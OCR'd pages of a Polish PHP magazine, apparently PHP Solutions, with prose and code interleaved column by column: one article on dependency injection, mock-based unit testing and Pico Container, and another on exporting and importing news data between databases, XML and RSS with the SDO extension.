danych użytkowników, oraz czy możliwe public function getExistingLoginName(){return $this->_existingLoginName;}
będzie pisanie testów jednostkowych. }
interface UserService {
W poszukiwaniu public function findUserByLoginName($login);
public function addUser(User $u);
współpracownika }
Najprostszym sposobem na zapewnie- interface UserDAO {
nie połączeń jest powoływanie do życia public function findUserByLoginName($login);
obiektów wtedy, gdy akurat ich potrze- public function save(User $u);
bujemy. Fragment modułu stworzonego }
?>
w tym duchu pokazują Listingi 1 i 2. Apli-
kacja będzie funkcjonować poprawnie,
Listing 2. Wiązane obiektów przez ich tworzenie przy Listing 3. Test jednostkowy zależny od infrastruktury
pomocy new
<?php
class UserServiceImpl1 implements UserService {
// w testach korzystamy z SimpleTest
public function addUser(User $u) { // http://www.lastcraft.com/simple_test.php
$userDao = new UserDAOPDOImpl(); define('SIMPLETEST_PATH', 'D:/phplibs/simpletest_1.0.1alpha2');
$existingUser = $userDao->findUserByLoginName( require_once (SIMPLETEST_PATH.'/unit_tester.php');
$u->getLogin()); require_once (SIMPLETEST_PATH.'/reporter.php');
if ($existingUser == null) { require_once ('listing1.php');
$userDao->save($u);
} else { class TestWithDB extends UnitTestCase {
throw new UserExistsException($u->getLogin());
} public function setUp() {
} //przygotowanie infrastruktury
//wyczyszczenie DB
public function findUserByLoginName($login) { //potrzebujemy do tego oddzielnej instancji DB
$userDao = new UserDAOPDOImpl(); //poniewaz nie chcemy zamazac prawdziwych danych
return $userDao->findUserByLoginName($login);
} $pdoDao = new UserDAOPDOImpl();
} $pdo = $pdoDao->getConnection();
$pdo->query("DELETE FROM users");
class UserDAOPDOImpl implements UserDAO { }
private static $_pdoDB = null;
public function __construct() { public function testSavingIfNotExists() {
if (is_null($this->_pdoDB)) {
$this->_pdoDB = new PDO("pgsql:dbname=dites $user = $this->prepareTestUser();
t;host=localhost", "postgres", $us = new UserServiceImpl1();
"postgres");
} //właściwy test
} $us->addUser($user);
Global variables
Listing 6. Testy jednostkowe dla klasy wykorzystującej zmienne globalne O przykrych skutkach wynikających z uży-
wania zmiennych globalnych napisano już
function prepareTestUser() {
return new User('jkowalski', 'jkowalski', 'Jan', 'Kowalski'); całe tomy: powstały kod jest nieczytelny,
} zależności pomiędzy obiektami są trudne
do zlokalizowania, zacierają się granice
class MockUserDAOWithoutUser implements UserDAO { poszczególnych warstw w architekturze.
Co gorsza, bardzo łatwo popełnić trudne
private $_savedUser;
public function findUserByLoginName($login) { do odnalezienia błędy, przypadkowo nad-
return null; pisując jedną ze zmiennych globalnych.
} Niestety, nawet świadomość wszystkich
wymienionych wad czasami nie powstrzy-
public function save(User $u) {
muje nas przed zastosowaniem rozwiąza-
$this->_savedUser = $u;
} nia jak na Listingu 5. Trzeba przyznać, że
public function getSavedLogin() { stare “dobre” zmienne globalne okazały się
return $this->_savedUser->getLogin(); pomocne. Pisanie testów jednostkowych
} nagle stało się łatwiejsze i możliwe nawet
}
bez połączenia z bazą danych (Listing 6).
class MockUserDAOWithUser implements UserDAO { Zmieniając wartość jednego, globalnego
ustawienia, możemy przestawić aplikację
public function findUserByLoginName($login) { na zupełnie nowy sposób przechowywania
return prepareTestUser();
danych użytkowników.
}
Zaraz, zaraz, a co z różnymi połącze-
public function save(User $u) {
} niami do bazy danych? Co zrobić w sytu-
} acji, gdy chcemy zapisać dane osobowe
w zupełnie innej składnicy, zupełnie od-
class TestWithMocksAndGlobalVar extends UnitTestCase {
dzielnej bazie danych? Jesteśmy w trudnej
sytuacji – połączenie z DB jest zdefiniowa-
public function testSavingIfNotExists() {
ne w zmiennej globalnej.
global $userDao; Powrócił też, wydawałoby się już roz-
wiązany, problem tworzenia zbyt wielu in-
//podmiana globalnego DAO "oszukaną" wersją
stancji obiektów. Konstruowanie wszystkich
$oldUserDao = $userDao;
DAO na początku każdego skryptu (nawet
$userDao = new MockUserDAOWithoutUser();
$user = prepareTestUser(); tych, które nie zostaną użyte w danym
$us = new UserService3(); przetwarzaniu) jest niepotrzebnym marno-
$us->addUser($user); waniem cennych zasobów.
Aby całkowicie zdyskredytować roz-
$this->assertEqual($userDao->getSavedLogin(), $user->getLogin());
wiązanie oparte na zmiennych globalnych,
$userDao = $oldUserDao;
} dodajmy tylko, że ich użycie skutecznie
public function testThrowsExceptionIfExists() { niszczy całą architekturę i podział aplikacji
na warstwy. Ponieważ wszystkie części
global $userDao;
aplikacji mają dostęp do DBConnection,
może zdarzyć się, że pobieranie danych
//podmiana globalnego DAO "oszukana" wersją
$oldUserDao = $userDao; odbywa się w wielu niekontrolowanych
$userDao = new MockUserDAOWithUser(); miejscach – nawet w warstwie widoku.
Podejście takie w krótkim czasie powoduje
$user = prepareTestUser(); zmianę solidnej architektury w nieprzenik-
$us = new UserService3();
nioną sieć powiązań.
try { Jakkolwiek zmienne globalne są nie do
$us->addUser($user); przyjęcia, podpowiadają nam one właściwy
$this->fail(); sposób rozwiązania problemu: w metodzie
} catch (Exception $e) { addUser musimy mieć referencję do obiektu
$this->assertEqual($e->getExistingLoginName(), $user->getLogin());
UserDAO. Jak ją uzyskać bez uciekania się
}
$userDao = $oldUserDao; do Singletonów i operatora new?
}
} Inner factory
$test = new TestWithMocksAndGlobalVar(); Spróbujmy zastosować prostą sztuczkę
$test->run(new HtmlReporter());
pokazaną na Listingu 7. W ten sposób
zachowujemy zalety Singletona (jedna
}
}
Nie dzwoń do nas,
} my odezwiemy się
do Ciebie
class UserDAOFactory { Stwierdzenie, które pojawia się w tytule
tej części artykułu, zwykle przyprawia nas
private static $_userDAO = null;
o gęsią skórkę, jeśli akurat poszukujemy
public static function registerDAO(UserDAO $userDAO){ pracy. To, co w świecie rzeczywistym jest
UserDAOFactory::$_userDAO = $userDAO; nieprzyjemnym doświadczeniem, w zo-
} rientowanej obiektowo aplikacji może być
dobrodziejstwem. Spróbujmy się przez
public static function getDAO(){
chwilę zastanowić, co by się stało, gdy-
if (is_null(UserDAOFactory::$_userDAO)){
throw new Exception('Najpierw zarejestruj implementacje UserDAO!'); by dany obiekt nie musiał samodzielnie
} else { wyszukiwać innych, potrzebnych mu do
return UserDAOFactory::$_userDAO; współpracy obiektów? We wszystkich
} wcześniej przedstawionych sytuacjach
}
UserService był odpowiedzialny za odna-
}
lezienie odpowiedniej instancji UserDAO.
Listing 10. Service Locator A gdyby tak odwrócić role? Gdyby UserDAO
w jakiś sposób trafiał do UserService?
class UserServiceImpl6 implements UserService {
wiązania między nimi. Wszystko dokład- ciem. Zamiast tego będziemy musieli za- szybko minie, jeśli przez chwilę przyjrzymy
nie wymieszajmy i sięgamy do worka po dowolić się implementacją kontenera IoC, się sygnaturom konstruktora UserService
jeden z obiektów. To nie jest taki całkiem który spełni identyczną rolę. i UserDAO. Przecież wszystkie informacje
zwykły worek, bo gdy wyjmujemy konkret- W świecie Java filozofia IoC zadomo- o zależnościach zostały już wyrażone w ty-
ny obiekt, to ciągną się za nim wszystkie wiła się na dobre, zaś najpopularniejsze pach parametrów. Pico potrafi skorzystać
niezbędne do pracy obiekty zależne. To kontenery to Spring Framework i Pico z tych informacji i nie zanudza programi-
magiczny worek dba o powiązanie tak, że Container. Dla tego ostatniego istnieje sty kolejnymi prośbami o dane, które już
w efekcie wyjmujemy cały, przygotowany wersja przygotowana specjalnie dla PHP5. posiada.
do działania graf obiektów. Jeśli odwołamy Spójrzmy na Listing 13, gdzie pokazany Kolejną miłą cechą Pico jest jego nie-
się do rozważanego wcześniej przykładu, jest sposób wykorzystania Pico. nachalna współpraca. Wykonuje dobrą
to sięgnięcie po obiekt klasy UserService Na pierwszy rzut oka zaskakujący mo- robotę konfigurując poszczególne obiekty,
spowoduje pobieranie UserDAO, a to z kolei że wydawać się fakt, iż w żadnym miejscu ale nie jest niezbędny do działania całej
– połączenia z DB. nie specyfikujemy połączeń pomiędzy aplikacji. Zmienił się tylko sposób kon-
Niestety, mimo ogromnych możliwości obiektami. Najzwyczajniej w świecie re- figuracji połączeń. Do całej architektury
PHP5, zaprogramowanie magicznego jestrujemy kilka obiektów, a o pozostałe wprowadziliśmy pomocną bibliotekę, a nie
worka może być trudnym przedsięwzię- rzeczy martwi się Pico. Nasze zaskoczenie ociężały framework dyktujący sposób pisa-
nia kodu.
Listing 12. Testowanie klas pokazanych na Listingu 11 Możliwości tej niewielkiej biblioteki są
naprawdę duże i oprócz konfigurowania
class TestWithMocksAndSetterInjection extends UnitTestCase { obiektów potrafi ona również zapewnić
włączanie (instrukcja include lub require)
public function testSavingIfNotExists() {
tylko tych definicji klas, które są potrzebne
$user = prepareTestUser();
$us = new UserServiceImpl7(); podczas wykonania danego modułu. Sze-
$userDao = new MockUserDAOWithoutUser(); rzej możliwości Pico Container opiszemy
$us->setUserDao($userDao); wkrótce w drugiej części tego artykułu.
$us->addUser($user);
$this->assertEqual($userDao->getSavedLogin(), $user->getLogin());
}
Podsumowanie
public function testThrowsExceptionIfExists() { Wstrzykiwanie zależności zamiast ich
$user = prepareTestUser(); poszukiwania jest dobrym pomysłem archi-
$us = new UserServiceImpl7(); tektonicznym. Prowadzi do bardzo jasnego
$userDao = new MockUserDAOWithUser(); zaprezentowania zależności pomiędzy
$us->setUserDao($userDao);
poszczególnymi obiektami, co przekłada
try {
$us->addUser($user); się na lepiej skonstruowany, bardziej czy-
$this->fail(); telny kod. Precyzyjne zaznaczenie granic
} catch (Exception $e) { poszczególnych komponentów umożliwia
$this->assertEqual($e->getExistingLoginName(), $user->getLogin()); łatwe pisanie testów jednostkowych, które
}
mogą być uruchamiane bez konieczno-
}
} ści przygotowywania całej infrastruktury.
Jedyną niedogodnością może być nieco
Listing 13. Konfigurowanie aplikacji przy pomocy Pico Container uciążliwy proces łączenia poszczególnych
obiektów w gotową aplikację. Na szczęście
<?php
//wlaczenie definicji Pico Container
i ten problem można łatwo rozwiązać sto-
define('PICO_PATH','D:/www/container/src'); sując kontenery IoC, chociażby wspomnia-
require_once(PICO_PATH.'/pico.inc.php'); ny Pico Container.
//wlaczenie klas z implementacja
require_once('include.all.php');
require_once('listing12.php');
//konfiguracja
$pico = new DefaultPicoContainer();
$pico->registerComponentImplementation('UserServiceImpl8');
$pico->registerComponentImplementation('UserDAOPDOImpl');
O autorze
$pico->registerComponent(new InstanceComponentAdapter(new PDO(
Paweł Kozłowski jest pracownikiem
"pgsql:dbname=ditest;host=localhost",
SUPERMEDIA, gdzie od roku 2000
"postgres", projektuje i tworzy złożone aplikacje
"postgres" WWW w PHP. Obecnie zajmuje się roz-
))); wijaniem frameworków i bibliotek ORM
opartych na PHP5. Jest autorem portu
//uzycie w aplikacji PicoContainer dla PHP5 i wielu publika-
$userService = $pico->getComponentInstance('UserServiceImpl8'); cji poświęconych PHP.
$userService->addUser(new User('jkowalski', 'jkowalski', 'Jan', 'Kowalski')); Kontakt z autorem: pkozlowski@phpsol-
?> mag.org.
W
poprzednim numerze PHP nie musimy się przejmować sposobem
Solutions omówiliśmy ogólnie fizycznego przechowywania danych.
rozszerzenie SDO (ang. Servi- Dane wchodzące i wychodzące
ce Data Objects). Pokazaliśmy, jak je wy- z obiektów DAS mają postać drzewa
korzystać do obsługi prostej bazy danych obiektów SDO. Za stworzenie drzew od-
służącej do przechowywania newsów. powiedzialne są klasy DAS, które dzięki
Przypomnijmy, że SDO jest elemen- tzw. mappingom przetwarzają dane zapi-
tem architektury stworzonej przez IBM sane w formacie właściwym dla danego
i BEA, mającej na celu ułatwienie, czy źródła na obiekty SDO. W przypadku bazy
wręcz ujednolicić dostęp do danych po- danych mappingiem jest zestaw tablic aso-
chodzących z wielu różnych źródeł. Na- cjacyjnych opisujących strukturę tabel i re-
rzędzie to zapewnia wspólny interfejs, za lacje pomiędzy nimi. Natomiast dla plików
pomocą którego programiści będą mogli XML jest to plik XML Schema.
W SIECI zarządzać danymi pochodzącymi z re-
lacyjnych baz danych, plików XML, Web
Services (webserwisów) i wielu innych Co należy wiedzieć...
1. http://www.ibm.com/ Potrzebna będzie podstawowa znajo-
developerworks/webservices źródeł. mość obsługi baz danych w SDO, pro-
– pełna specyfikacja archi- Na Rysunku 1 przedstawiamy schemat
tektury SDO gramowania obiektowego oraz standardu
2. http://www.w3schools.com/ architektury SDO. Jak widzimy, za dostęp XML.
schema/default.asp – tuto- do źródeł danych odpowiadają obiekty
rial tworzenia plików XML
DAS (ang. Data Access Service). Ukrywają
Co obiecujemy...
Schema Pokażemy, jak przy pomocy SDO eks-
3. http://www.w3.org/TR/ one przed programistą szczegóły związa- portować dane z relacyjnej bazy danych
xmlschema-1/ – oficjalna
specyfikacja W3C dotycząca
ne z komunikacją z odpowiednim źródłem do plików XML.
XML Schema danych. Użycie tych obiektów sprawia, że
szym obecnie sposobem wymiany danych stworzymy mapping, który zawiera błę- XML. Pamiętajmy, że SDO_DAS_Relational
są pliki XML. dy, SDO poinformuje nas o tym poprzez jest klasą napisaną w PHP i aby była ona
zgłoszenie wyjątku z odpowiednim opisem widoczna, musimy w naszym skrypcie
Koncepcja projektu wskazującym nam miejsce wystąpienia dołączyć plik Relational.php, który jest do-
Pokażemy, jak łatwo możemy napisać pomyłki. Nie musimy się więc martwić, stępny wraz z rozszerzeniem SDO.
korzystające z SDO skrypty służące do że niepoprawnie stworzony mapping bę- W przypadku rozszerzenia XML
eksportu danych z relacyjnej bazy danych dzie powodował błędne działanie całego mappingiem jest plik XML Schema. Na
do plików XML. W przykładzie tym posłu- skryptu. Listingu 4 przedstawiamy plik XML Sche-
żymy się wiedzą zdobyta w poprzednim Na Listingu 3 pokazujemy operacje, ma dla naszego przykładu. Budowanie
artykule o SDO. Wykorzystamy też sche- jakie należy wykonać, aby pobrać drzewo plików XML Schema zostało omówione
mat bazy danych z Listingu 1. Pobierzemy obiektów SDO z bazy danych. Są to trzy pod adresem http://www.w3schools.com/
dane z bazy korzystając z klasy SDO_DAS_ działania: nawiązanie połączenia z bazą schema/default.asp, a takżę w książce
Relational, która odpowiada w SDO za danych przy pomocy klasy PDO, inicjacja zat. XML Schema wydawnictwa O'Reilly,
komunikację z bazami danych. Następnie klasy SDO_DAS_Relational i wywołanie której autorem jest Eric van der Vlist.
zapiszemy otrzymane dane do pliku XML metody executeQuery() na obiekcie klasy W naszym przykładzie plik XML Sche-
przy pomocy SDO_DAS_XML, klasy odpowie- SDO_DAS_Relational. Na skutek użycia ma składa się z trzech typów. Pierwszy
dzialnej za obróbkę plików XML w rozsze- tej ostatniej metody otrzymamy drzewo z nich, SDO_DAS_Relational_RootType,
rzeniu SDO. obiektów SDO, które następnie zapiszemy zawiera listę wszystkich grup newsów, jest
w pliku XML. Najpierw jednak musimy więc pewnego rodzaju kontenerem. Dru-
Jak zacząć, czyli o mappingach stworzyć mapping dla klasy SDO_DAS_ gi, noszący nazwę news_groups, opisuje
Dzięki temu, że architektura SDO jest lo-
gicznie podzielona na dwa typy obiektów: Listing 3. Skrypt pobierający grupy newsów wraz z poszczególnymi
odpowiadające za strukturę i operacje wiadomościami z bazy danych
na danych, przenoszenie tych samych
obiektów zawierających dane pomiędzy <?php
require_once 'Relational.php';
różnymi źródłami jest łatwe. Jedyne,
/* tu wstawiamy definicję mappingu dla bazy danych */
czego potrzebujemy do poprawnego $dbConnection = new PDO('mysql:host=localhost;dbname=nazwa_bazy_danych','użytkownik','hasło');
działania takiego rozwiązania to mappingi, $das = new SDO_DAS_Relational( array($newsGroupsMap,$newsContentsMap), 'news_groups',
które musimy stworzyć dla każdego źródła array( $newsContentsRelationsMap ) );
danych z osobna. Na Listingu 2 przedsta- $root = $das->executeQuery($dbConnection, 'select * from news_groups, news_contents where
news_groups.ng_id=news_contents.ng_id', array( 'news_groups.ng_id', 'news_groups.ng_name',
wiamy mapping dla relacyjnej bazy da-
'news_groups.ng_description', 'news_contents.nc_id', 'news_contents.nc_subject',
nych. Jego budowę opisaliśmy dokładnie 'news_contents.nc_lead', 'news_contents.nc_content' ) );
w poprzednim artykule o SDO. Dla tych, ?>
którzy go nie czytali, przypomnimy reguły
tworzenia tego mappingu: Listing 4. Plik XML Schema zawierający definicję formatu pliku XML do którego
będą eksportowane dane z bazy danych newsów
każda tabela bazodanowa, z którą <?xml version="1.0" encoding="UTF-8"?>
kontaktujemy się poprzez SDO, musi <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
mieć swój mapping, xmlns:newsgroups="das_namespace"
mapping składa się z tablic asocja- targetNamespace="das_namespace">
<xsd:element name="newses" type="newsgroups:SDO_DAS_Relational_RootType"/>
cyjnych, w każdym mappingu muszą
<xsd:complexType name="SDO_DAS_Relational_RootType">
znaleźć się: informacja o nazwie ta- <xsd:sequence>
blicy, z którą jest on związany (klucz <xsd:element name="news_groups" type="newsgroups:news_groups"
name), lista kolumn (klucz columns), maxOccurs="unbounded"/>
nazwa pola klucza głównego (klucz </xsd:sequence>
</xsd:complexType>
PK); klucz główny nie może być wielo-
<xsd:complexType name="news_groups">
polowy, <xsd:sequence>
jeżeli pomiędzy tabelami istnieje rela- <xsd:element name="news_contents" type="newsgroups:news_contents"
cja, tabela podrzędna musi posiadać maxOccurs="unbounded" />
w mappingu pole FK zawierające in- </xsd:sequence>
<xsd:attribute name="ng_name" type="xsd:string"/>
formacje o tabeli, do której jest relacja
<xsd:attribute name="ng_description" type="xsd:string"/>
(klucz to) i kolumnę, która definiuje tę </xsd:complexType>
relację (klucz from); dodatkowo, trze- <xsd:complexType name="news_contents" mixed="false">
ba stworzyć tablice relacji. <xsd:attribute name="nc_subject" type="xsd:string"/>
<xsd:attribute name="nc_lead" type="xsd:string"/>
<xsd:attribute name="nc_content" type="xsd:string"/>
Na pierwszy rzut oka, reguły te mogą wy-
</xsd:complexType>
dawać sie bardzo skomplikowane. Przy- </xsd:schema>
kład z Listingu 2 powinien jednak rozjaśnić
ewentualne wątpliwości. Poza tym, jeżeli
atrybuty pojedynczej grupy i zawiera listę składa się z trzech linii. W pierwszej z nich plik nie istnieje, to zostanie utworzony. Je-
wszystkich newsów związanych z daną tworzymy obiekt klasy SDO_DAS_XML żeli natomiast istnieje, to wszystkie zgro-
grupą. Trzeci typ, news_contents, opisuje korzystając z jej metody statycznej o na- madzone w nim dane zostaną nadpisane.
atrybuty pojedynczego newsa. Nazwa zwie create(). Metoda ta wymaga poda- SDO_DAS_XML posiada jeszcze trzy inne
pierwszego typu musi odzwierciedlać typ nia jednego parametru, którym jest ścieżka metody do serializacji danych zgromadzo-
korzenia drzewa obiektów SDO pobranego dostępu i nazwa mappingu. W naszym nych w obiektach SDO:
z bazy danych. Nazwą typu tego korzenia przypadku jest to plik, którego zawartość
jest właśnie SDO_DAS_Relational_RootType. pokazaliśmy już na Listingu 4. saveDataObjectToString – zamiast do
Nazwy pozostałych typów odpowiadają na- W drugiej linii pozyskujemy z drzewa pliku zapisuje dane (obiekt klasy SDO _
zwom tabel z bazy danych, co wprawdzie informacje o typie korzenia, które są nam DataObject) do zmiennej łańcuchowej,
nie jest koniecznie, ale jest zalecane ze potrzebne przy zapisie drzewa. Wreszcie, saveDocumentToFile – zapisuje do
wzgędu na przejrzystość i czytelność kodu. w trzeciej linii zapisujemy dane do pliku pliku obiekt klasy SDO _ DAS _ XML _
Tworząc plik XML Schema warto po- XML. Osiągamy to za pomocą metody Document,
służyć się specjalnie do tego stworzonym saveDataObjectToFile(). Wymaga ona saveDocumentToString – zapisuje do
edytorem, takim jak darmowy Eclipse podania czterech parametrów. Pierw- zmiennej łańcuchowej obiekt klasy
z pluginem Web Tools Platform. szym jest drzewo obiektów SDO, drugi SDO _ DAS _ XML _ Document.
Na Listingu 5 przedstawiamy kod od- to URI schematu, a trzeci stanowi nazwę
powiedzialny za zapisanie pobranego z ba- typu danych, który jest nadrzędny wobec Jak widać na omówionym przykładzie, po-
zy danych drzewa obiektów SDO do pliku wszystkich innych, czyli korzenia drzewa. między pobraniem danych z bazy a ich za-
XML, czyli wykonanie eksportu danych Z kolei czwarty parametr to nazwa pliku, pisem w pliku XML nie dokonaliśmy w nich
z bazy do innego źródła. Jak widzimy, kod w którym mają być zapisane dane. Jeżeli żadnych zmian. W szczególności, nie zmo-
dyfikowaliśmy struktury danych. Oczywi-
Listing 5. Część skryptu eksportu odpowiedzialna za zapis danych z bazy do pliku XML ście, musimy dokonać takich zmian, jeżeli
plik XML nie ma być idealnym odzwiercie-
<?php dleniem bazy danych i będzie zawierał np.
/* tu wstawiamy kod z Listingu 3 */ dodatkowe, niewystępujące w bazie da-
$xmlDAS = SDO_DAS_XML::create("group.xsd");
nych informacje, albo jego struktura będzie
$type = $dbRoot->getType();
$xmlDAS->saveDataObjectToFile($dbRoot,$type[0],$type[1],"export.xml"); inna. Jeżeli jednak tak nie jest, to eksportu
?> danych możemy dokonać w kilku linijkach
kodu. Co ciekawe, procedura importu, którą
Listing 6. Skrypt importu danych z pliku XML. pokazujemy na Listingu 6 jest prawie iden-
tyczna. Odwrócona jest jedynie kolejność
<?php
function copySDOTree( $dbTree, $xmlTree ) wykonywania operacji: dane są najpierw
{ ładowane z pliku XML do obiektów SDO,
if ( $xmlTree instanceof SDO_DataObject && $xmlTree->getContainer() != null ) a następnie, po skopiowaniu do nowego
{
drzewa, zapisywane w bazie danych.
$type = $xmlTree->getType();
$sdoDBObject = $dbTree->createDataObject( $type[1] );
} else { Import danych
$sdoDBObject = $dbTree; z pliku XML
} Import danych z pliku XML nie już tak pro-
foreach( $xmlTree as $propertyName => $sdoXMLObject )
stym zadaniem. Powód jest następujący.
{
Zapisując dane do bazy, klasa SDO_DAS_
if ( is_object( $sdoXMLObject ) )
{ Relational korzysta z funkcjonalności
copySDOTree($sdoDBObject,$sdoXMLObject); obiektów SDO polegającej na zapamię-
} else { tywaniu wszystkich zmian przeprowadzo-
$sdoDBObject->{$propertyName} = $sdoXMLObject;
nych na drzewie obiektów. Zapisywanie
}
zmian dotyczy wszystkich wykonywanych
}
} na drzewie operacji. Listę tych operacji
require_once 'Relational.php'; możemy podejrzeć wywołując (najlepiej na
/* tu wstawiamy definicję mappingu dla bazy danych */ korzeniu) metodę getChangesSummary().
$dbConnection = new PDO('mysql:host=localhost;dbname=sdo','root','');
Metoda ta zwróci obiekt typu SDO_
$dbDAS = new SDO_DAS_Relational( array($newsGroupsMap,$newsContentsMap),
DAS_ChangesSummary, który z kolei posiada
'news_groups', array( $newsContentsRelationsMap ) );
$dbRoot = $dbDAS->createRootDataObject(); m.in. metodę getChangedDataObjects().
$xmlDAS = SDO_DAS_XML::create("sdo_xml/group.xsd"); To właśnie ta metoda zwraca listę wszyst-
$xmlDocument = $xmlDAS->loadFromString(file_get_contents("export.xml")); kich zmienionych obiektów. Wracając
copySDOTree( $dbRoot, $xmlDocument->getRootDataObject() );
do problemu importu danych, drzewo
$dbDAS->applyChanges($dbConnection,$dbRoot);
obiektów, które otrzymujemy po przeczy-
?>
taniu pliku XML nie zawiera oczywiście
żadnych zmian. Próba zapisania tego
drzewa do bazy danych zakończy się Czytnik plików RSS przedstawiamy natomiast skrypt tworzący
więc niepowodzeniem, gdyż metoda Publikacja wiadomości (newsów) w forma- drzewo obiektów dla RSS i pozwalający
getChangedDataObjects() zwróci wartość cie RSS stała się już prawie standardem. wygenerować plik RSS v2. Niestety, tym
null, co oznacza, że żadne obiekty nie PHP udostępnia przynajmniej kilka biblio- razem kod nie jest taki prosty, jak w przy-
zostały zmienione. tek do tworzenia i publikowania wiadomo- padku eksportu danych. Powodem tego
Jak rozwiązać ten problem? Najlepiej ści tej postaci w Internecie. jest fakt, że drzewo obiektów z bazy nie
przekopiować drzewo pochodzące z pliku My stworzymy przykład, który pokaże, jest tożsame drzewu obiektów RSS. To
XML do nowego drzewa utworzonego jak wykorzystać SDO do napisania modułu drugie ma inną strukturę i zawiera więcej
przy pomocy klasy SDO_DAS_Relational. do publikacji wiadomości w formacie RSS. informacji. Dlatego głównym elementem
Wydawać by się mogło, że operacja ta jest Wykorzystamy w tym celu naszą bazę naszego skryptu jest przepisanie jednego
dość skomplikowana. Na szczęście tak nie danych z newsami. Pierwszym, czego drzewa do drugiego oraz uzupełnienie tego
jest: funkcja, która przekopiuje dowolne będziemy potrzebować jest odpowiedni drugiego o informacje dla niego charaktery-
drzewo do innego zajmuje zwykle kilkana- plik XML Schema. Możemy napisać go styczne.
ście linijek kodu. Jest tylko jeden warunek: sami wiedząc, jaka musi być struktura Podobnie jak poprzednio, po od-
oba drzewa muszą być oparte na tych pliku RSS, lub poszukać odpowiedniego czytaniu danych z bazy korzystamy ze
samych mappingach, gdyż inaczej SDO pliku w sieci. Ja wybrałem drugą opcję statycznej metody create(), aby utworzyć
zgłosi wyjątek. Wymagane jest, aby nazwy i swój plik znalazłem na stronie http://- obiekt klasy SDO_XML_DAS. Następnie, przy
atrybutów zgadzały się z nazwami kolumn, www.thearchitect.co.uk/schemas/rss- pomocy metody createDataObject(),
a nazwy typów z nazwami tabel. 2_0.xsd. Zwróćmy uwagę, że jest to plik którą wywołujemy na obiekcie klasy
Na Listingu 6 przedstawiliśmy przy- dla standardu RSS 2.0. Mając już plik SDO_XML_DAS, tworzymy korzeń drzewa
kładowy skrypt importu dla bazy danych schematu, możemy zabrać się za tworze- obiektów SDO. W korzeniu tym będziemy
newsów. Najważniejszym elementem nie drzewa obiektów SDO, które następ- przechowywać obiekty SDO składające
tej aplikacji jest metoda copySDOTree(), nie zserializujemy do XML-a, otrzymując się na dokument RSS.
która odpowiada za skopiowanie drze- w ten sposób plik z newsami w formacie Metoda createDataObject() wymaga
wa pochodzących z pliku XML obiektów RSS 2.0. podania dwóch parametrów: URI schema-
SDO do odpowiadającego mu drzewa, Do pobrania danych z bazy wykorzy- tu oraz nazwy nadrzędnego wobec wszyst-
które następnie zostanie zapisane w ba- stamy skrypt z Listingu 3. Na Listingu 7 kich innych typu danych. Obie informacje
zie danych. Metoda ta korzysta z faktu,
że obiekty SDO implementują interfejs Listing 7. Skrypt tworzący drzewo obiektow dla RSS
Traversable, który umożliwia nam poru-
szanie się w obrębie drzewa i atrybutów <?php
obiektów przy użyciu instrukcji foreach. header('Content-type: application/xml');
require_once 'Relational.php';
Pozostała część skryptu zawiera znane
require_once 'artykul_map.php';
nam już metody i operacje z poprzed- $dbConnection = new PDO('mysql:host=localhost;dbname=sdo','root','');
nich przykładów. Wyjątkiem jest metoda $dbDAS = new SDO_DAS_Relational( array($newsGroupsMap,$newsContentsMap),
loadFromFile(), którą wywołujemy na 'news_groups', array( $newsContentsRelationsMap ) );
obiekcie klasy SDO_DAS_XML. Parametrem tej $dbRoot = $dbDAS->executeQuery($dbConnection, 'select news_groups.ng_id,
news_groups.ng_name, news_groups.ng_description, news_contents.nc_id,
metody jest nazwa pliku zawierającego da-
news_contents.nc_subject, news_contents.nc_lead, news_contents.nc_content from
ne w postaci XML. Zwracana jest natomiast news_groups, news_contents where news_groups.ng_id=news_contents.ng_id', array
instancja klasy SDO_DAS_XML_Document. ( 'news_groups.ng_id', 'news_groups.ng_name', 'news_groups.ng_description',
Poza drzewem SDO, zawiera ona szereg 'news_contents.nc_id', 'news_contents.nc_subject', 'news_contents.nc_lead',
użytecznych informacji o pliku XML, na 'news_contents.nc_content' ) );
$xmlDAS = SDO_DAS_XML::create("sdo_xml/RSS20.xsd");
podstawie którego została utworzona. Pe-
$xmlRoot = $xmlDAS->createDataObject("http://blogs.law.harvard.edu/RSS20.xsd","rss");
łen zestaw atrybutów wraz z ich opisem $channel = $xmlRoot->createDataObject("channel");
znajdziemy w dokumentacji PHP. Dla nas $channel->version = "2.0";
najważniejsze jest, że wywołując na tym $channel->title = $dbRoot->news_groups[0]->ng_name;
obiekcie metodę getRootDataObject() $channel->description = $dbRoot->news_groups[0]->ng_description;
$channel->link = "http://nazwa_domeny";
otrzymamy drzewo SDO pochodzące
$channel->language = "pl";
z pliku XML. foreach( $dbRoot->news_groups[0]->news_contents as $index => $news_content )
Dla osób, które nie czytały poprzed- {
niego artykułu o SDO nieznana może być $xmlRoot->channel->createDataObject("item");
również metoda applyChanges() którą $xmlRoot->channel->item[$index]->title = $news_content->nc_subject;
$xmlRoot->channel->item[$index]->description = $news_content->nc_lead;
wywołujemy na obiekcie klasy SDO_DAS_
$xmlRoot->channel->item[$index]->link = "http://nazwa_domeny?nc_id=".
Relational. Odpowiada ona za zapisanie $news_content->nc_id;
drzewa w bazie danych. Wymaga po- }
dania dwóch parametrów drzewa, które $type = $xmlRoot->getType();
zostanie zapisane i połączenia z bazą echo $xmlDAS->saveDataObjectToString($xmlRoot,$type[0],$type[1]);
?>
danych, w której drzewo ma zostać za-
chowane.
muszą zawsze znajdować się w pliku <item>. Definicja wszystkich parametrów Podsumowanie
XML Schema. Po utworzeniu korzenia wiadomości dostępna jest w pliku XML Spośród licznych funkcji, które posiada
drzewa obiektów SDO możemy zacząc Schema. Jeżeli tagi <item> są podrzędne SDO, nie pokazaliśmy dwóch, o których
go wypełniać właściwymi obiektami. Pierw- wobec znacznika <channel>, to obiekty warto wspomnieć. Pierwszą z nich jest
szym potrzebnym obiektem będzie ten SDO item muszą być podrzędne w sto- możliwość przeszukiwania drzewa SDO
reprezentujący informacje o kanale RSS. sunku do obiektu zawierającego informa- w standardzie XPath. Drugą jest zapisy-
W standardzie RSS informacje te zapisane cje o kanale. Aby tak było, na obiekcie wanie obiektów SDO w sesji. Pozwala to
są w tagu <channel>. channel wykonujemy w pętli metodę odczytać obiekt z bazy, pokazać go na for-
Chcąc utworzyć obiekt SDO należą- createDataObject() z parametrem item. mularzu edycji i zapisać w sesji w ramach
cy do drzewa, musimy wykonać na tym W ten sposób przepiszemy wszystkie jednego żądania (ang. request).
drzewie metodę createDataObject(). newsy do drzewa SDO. Dla uproszczenia Następnie, gdy będziemy zapisywać
